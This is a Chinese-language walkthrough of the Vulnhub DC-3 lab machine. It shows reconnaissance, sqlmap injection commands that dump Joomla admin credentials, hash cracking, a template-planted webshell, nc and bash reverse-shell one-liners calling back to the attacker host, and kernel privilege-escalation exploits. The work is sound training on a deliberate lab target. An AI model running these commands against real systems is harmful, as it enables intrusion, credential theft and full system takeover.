【Vulnhub靶机系列】DC3

约定不等于承诺〃 2022-10-21 13:58 172阅读 0赞

**基****本信息**

Kali:192.168.61.145

DC3:192.168.61.163

**实验过程**

同样先通过arpscan扫描找出DC3的IP地址

sudo arp‐scan ‐‐interface eth0 192.168.61.1/24

![图片][70f8871935e26d45fb0454e8e7487a0d.png]

这里可以直接看出DC3的IP地址为192.168.61.163

然后我们使用nmap对目标进行扫描

发现目标主机只是打开了80端口

![图片][a8d537668148b08204fd7d973c74d31c.png]

然后我们查看下80端口，通过wappalyzer，发现用的是Joomla

同时主页也给我们提示，表明这个靶机只有一个flag

![图片][2317f083134ba94705b08d3f07a4ebcb.png]

![图片][a8b990332b1568c25adceeba803214e5.png]

这里我们使用joomscan专用扫描器，来获取网页更详细的信息

joomscan：https://github.com/OWASP/joomscan

perl joomscan.pl ‐u http://192.168.61.163

可以看到joomla的详细版本号和管理后台

![图片][bb1d63ad7e3b9184444ee1940447c58b.png]

我们通过searchsploit查看是否有可以用的EXP

searchsploit joomla 3.7

![图片][1cc470b6763ce598cc05ae5b5645bccd.png]

可以看到有一个SQL注入漏洞

searchsploit ‐x php/webapps/42033.txt

![图片][2592c4adc73ec1e3f01f3c05c2aac53a.png]

sqlmap -u "http://192.168.61.163/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

![图片][7bb035ec3863fda1ef37fab284bda2a6.png]

接下来就是导出admin的账号密码，就只放个最后的结果图，攻击过程的语句如下:

sqlmap -u "http://192.168.61.163/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" --risk=3 --level=5 --random-agent -p list[fullordering] -D joomaladb --tables
    
    sqlmap -u "http://192.168.61.163/index.php?
    option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" ‐‐risk=3 ‐‐
    level=5 ‐‐random‐agent ‐p list[fullordering] ‐D joomladb ‐T "#__users" ‐‐columns
    
    sqlmap ‐u "http://192.168.61.163/index.php?
    option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml%27" ‐‐risk=3 ‐‐
    level=5 ‐‐random‐agent ‐p list[fullordering] ‐D joomladb ‐T "#__users" ‐C "username,password" ‐‐dump

![图片][33869763d18ff239ce4aca34b14f08cd.png]

![图片][88c9ec6fb30e7ae88785b5d3b37c3d17.png]

我们将password的HASH值用john进行破解

![图片][00723c2e5f341ee31572f76aadeebddb.png]

![图片][16daed850fce95c33b3cbc4493d311b5.png]

解密后的结果为：snoopy

我们尝试进行登陆，发现是正确的账号密码

账号：admin密码：snoopy

![图片][ad942d9a892c663fa35117c99283d627.png]

![图片][c7181d721f2ff87fc7ffa74341c47444.png]

进入后台后，就要想办法上传一句话木马。百度到可以编辑模板来上传一个webshell

![图片][dade8b706ede48171c5efcd39e39bdea.png]

这里编辑Beez3模板

![图片][90f31448bbc83a21b2eabc203ca825a7.png]

这里我在html目录下创建了一个名为dfz.php的webshell

![图片][c14c28bd98f0c8f22503be56ac57665f.png]

然后我们访问下这个webshell，没有出现404说明成功上传

http://192.168.61.163/templates/beez3/html/dfz.php

![图片][561efb9f9b013a066c66d7e75a5f1eb7.png]

接下来用蚁剑来链接

![图片][561005589b5426a6b5a1f055985a0177.png]

我们在Kali上使用nc，通过蚁剑反弹一个shell

我们现在Kali上建立监听

![图片][7fd4db92320ea90abed50525c8c465fe.png]

发现DC3上有python环境，尝试使用python来弹shell，但是Kali上没有任何反应

![图片][e32d5c1d4741243e6166fcdd2d5a2577.png]

然后尝试使用bash来弹shell，但是也是不行

![图片][89abeb3a357dfff1d4fbb227790ce340.png]

尝试使用nc反弹成功

> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh ‐i 2>&1|nc 192.168.61.145 2222 >/tmp/f

![图片][0456f925c99fa15e610ac11fcfe623df.png]

![图片][6c74d5cdd02a1eb33587700eaea42a31.png]

然后使用python改善shell环境

python ‐c "import pty;pty.spawn('/bin/bash')"

![图片][a7b52caa2eb733e68bb902a00aa2e26b.png]

获取下Linux版本，可以看到是Ubuntu 16.04

![图片][cde41e5e18e1fd92cbd6297310b5730f.png]

我们查找下有没有可以利用的提权EXP，通过searchsploit有好几个

![图片][73834bd940ec0db48964066c51879aa8.png]

这里我们使用下面的EXP尝试提权

Linux Kernel 4.4.x (Ubuntu 16.04) ‐ 'double‐fdput()' bpf(BPF_PROG_LOAD) PrivilegeEscalation                                               | linux/local/39772.txt

我们打开这个EXP的介绍，并到指定网站下载

![图片][c0bb27421e1b5d3e9b59e3886d0f49e0.png]

>  
> 
>     https://github.com/offensive‐security/exploitdb‐bin‐sploits/blob/master/bin‐sploits/39772.zip

通过蚁剑上传到靶机

![图片][cce0d5854a129c72e44322967c2c9552.png]

然后接下来的话就是解压、编译、执行EXP来获得root权限，所有命令如下

unzip 39772.zipcd 39772tar ‐xvf exploit.tar

![图片][63db04833239e2710f91fcba12b260ee.png]

./compile.sh

![图片][c7fcc9d8ca2ac17d03ff9c47ec0df234.png]

./doubleput

![图片][c800ca944227c59ac7eeb00409c56410.png]

获得flag

![图片][03dc6d2823018f5eb0c33e800c9540ec.png]

**额外补充**

--------------------

**利用php反弹shell**

> system("bash ‐c 'bash ‐i >& /dev/tcp/192.168.61.145/2222 0>&1'");

![图片][35d0468d5098b5860c9c5dfa89aa9e6c.png]

![图片][8065859e0697cf1ba45aa544946ce129.png]

system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh ‐i 2>&1|nc 192.168.61.145 2222>/tmp/f');

![图片][4e12644cc7d04cf71a8444ae830de7b0.png]

![图片][2a66ce6904d4b0b7803e9af4ecaa7f81.png]

--------------------

**使用Linux-Exploit-suggestion来辅助提权**

下载地址：https://github.com/mzet-/linux-exploit-suggester

上传到/tmp中，并加权执行

chmod +x linux‐exploit‐suggester.sh

![图片][b44538625ceb8f9bceefcf5d83b8aa70.png]

![图片][50bbbb7d9f530903a6d987a1f0ce516f.png]

![图片][619aaa7ca2ac05cf32ee7ae9595c079c.png]

这里尝试下CVE-2016-5195

EXP地址：https://github.com/gbonacini/CVE-2016-5195

下载完成后通过蚁剑上传，并解压

![图片][d88ce240c917094e6d6d9d785e7315b4.png]

![图片][dd9964495e6359f45a78af7e6ca9c0e4.png]

然后进入目录后make下就可以得到dcow文件，执行./dcow -s 尝试提权

然后靶机就死机了，说明这个EXP不适合

![图片][71637395b84ceae8d1dace931a4602ac.png]

[70f8871935e26d45fb0454e8e7487a0d.png]: /images/20221021/dd516f3c3ccf47feaefeb5f24f7756cb.png
[a8d537668148b08204fd7d973c74d31c.png]: /images/20221021/9235fa6d3dc0407cb2368c31e9297f0f.png
[2317f083134ba94705b08d3f07a4ebcb.png]: /images/20221021/a75e8126f9d64b18be2b318910175577.png
[a8b990332b1568c25adceeba803214e5.png]: /images/20221021/a8eb75870a864118a516afced853bf70.png
[bb1d63ad7e3b9184444ee1940447c58b.png]: /images/20221021/acafdfa4a551477e937dbc1c6c511eea.png
[1cc470b6763ce598cc05ae5b5645bccd.png]: /images/20221021/cbc849ba148340f3947cbaff123da2f6.png
[2592c4adc73ec1e3f01f3c05c2aac53a.png]: /images/20221021/fb1de4697ba64fc8ab299811d7981bfa.png
[7bb035ec3863fda1ef37fab284bda2a6.png]: /images/20221021/192675abbcaa458c95ce613c70c73420.png
[33869763d18ff239ce4aca34b14f08cd.png]: /images/20221021/6911d530b8a54410a6b474a47b1887d5.png
[88c9ec6fb30e7ae88785b5d3b37c3d17.png]: /images/20221021/d422f460ca1745b5ac292f17b35c59d4.png
[00723c2e5f341ee31572f76aadeebddb.png]: /images/20221021/a95c9ff1be7f4d24b4ee3db62c77a6f5.png
[16daed850fce95c33b3cbc4493d311b5.png]: /images/20221021/85afacf815a84b8090c154ae080f0f21.png
[ad942d9a892c663fa35117c99283d627.png]: /images/20221021/8ef1885a4d9247db94d34aa9b18c1f35.png
[c7181d721f2ff87fc7ffa74341c47444.png]: /images/20221021/8e174d79d18a49d199445218a8040751.png
[dade8b706ede48171c5efcd39e39bdea.png]: /images/20221021/2aa85cb042f643b9860f71fbd41873c3.png
[90f31448bbc83a21b2eabc203ca825a7.png]: /images/20221021/c749241f46974d4292e29e7f33ecab88.png
[c14c28bd98f0c8f22503be56ac57665f.png]: /images/20221021/e14b1a4a1e9d49648a8f520c81fcd0b0.png
[561efb9f9b013a066c66d7e75a5f1eb7.png]: /images/20221021/fc5abd8fd2b6484eb26b8f60a71d0cee.png
[561005589b5426a6b5a1f055985a0177.png]: /images/20221021/fb1fbdb03b4143578be05f5c1674ecaf.png
[7fd4db92320ea90abed50525c8c465fe.png]: /images/20221021/5cf9e4ab5ef74b8a95c4dcb71449af7d.png
[e32d5c1d4741243e6166fcdd2d5a2577.png]: /images/20221021/0e8c7a9b758945b29d632b504720c573.png
[89abeb3a357dfff1d4fbb227790ce340.png]: /images/20221021/f98d736f85914987ba5719b123ff4b68.png
[0456f925c99fa15e610ac11fcfe623df.png]: /images/20221021/3739a9fed38b49d0b68ce2ff0981d6e7.png
[6c74d5cdd02a1eb33587700eaea42a31.png]: /images/20221021/5ba85cdb135544e6b6a821c70907067a.png
[a7b52caa2eb733e68bb902a00aa2e26b.png]: /images/20221021/235b8c2bf3ac45648eb81e456e3d39b7.png
[cde41e5e18e1fd92cbd6297310b5730f.png]: /images/20221021/5a56e02fa47a486595e504c14be023e6.png
[73834bd940ec0db48964066c51879aa8.png]: /images/20221021/72547f77bb1444ce93c1bc1239ca228a.png
[c0bb27421e1b5d3e9b59e3886d0f49e0.png]: /images/20221021/06adc3e4932a4bd9bb20a06b8aaf8b32.png
[cce0d5854a129c72e44322967c2c9552.png]: /images/20221021/9643aab0a79d42c0950cb514a4dadd57.png
[63db04833239e2710f91fcba12b260ee.png]: /images/20221021/4a9fe4ebe9da4ef88c81f29671fec893.png
[c7fcc9d8ca2ac17d03ff9c47ec0df234.png]: /images/20221021/93f1a2a8751e4b6e83d910f84883f852.png
[c800ca944227c59ac7eeb00409c56410.png]: /images/20221021/4f91686962084c678e33bfd32afc1781.png
[03dc6d2823018f5eb0c33e800c9540ec.png]: /images/20221021/130951e6cf344aae9e95a8446314b90a.png
[35d0468d5098b5860c9c5dfa89aa9e6c.png]: /images/20221021/776928c7111e432e99e1843f5e127438.png
[8065859e0697cf1ba45aa544946ce129.png]: /images/20221021/d36abe6c31374ed1982cc13486dc1c2b.png
[4e12644cc7d04cf71a8444ae830de7b0.png]: /images/20221021/7e700540d9b942cbb3061bf0262a85e5.png
[2a66ce6904d4b0b7803e9af4ecaa7f81.png]: /images/20221021/6095cfb246dd44bd9d6c4d104af418b9.png
[b44538625ceb8f9bceefcf5d83b8aa70.png]: /images/20221021/1f621c60da0641bca5b9a4cdaa326a9b.png
[50bbbb7d9f530903a6d987a1f0ce516f.png]: /images/20221021/ab5f93da1d4a45f388072b1d84963b77.png
[619aaa7ca2ac05cf32ee7ae9595c079c.png]: /images/20221021/c7352c597c094916999680203d4226d7.png
[d88ce240c917094e6d6d9d785e7315b4.png]: /images/20221021/f3f83f9f06df429db2379be142d54164.png
[dd9964495e6359f45a78af7e6ca9c0e4.png]: /images/20221021/5ad0c70290714d7f886dac57e5ac0503.png
[71637395b84ceae8d1dace931a4602ac.png]: /images/20221021/f44cdad560934ecfb2f10f1cc61e8161.png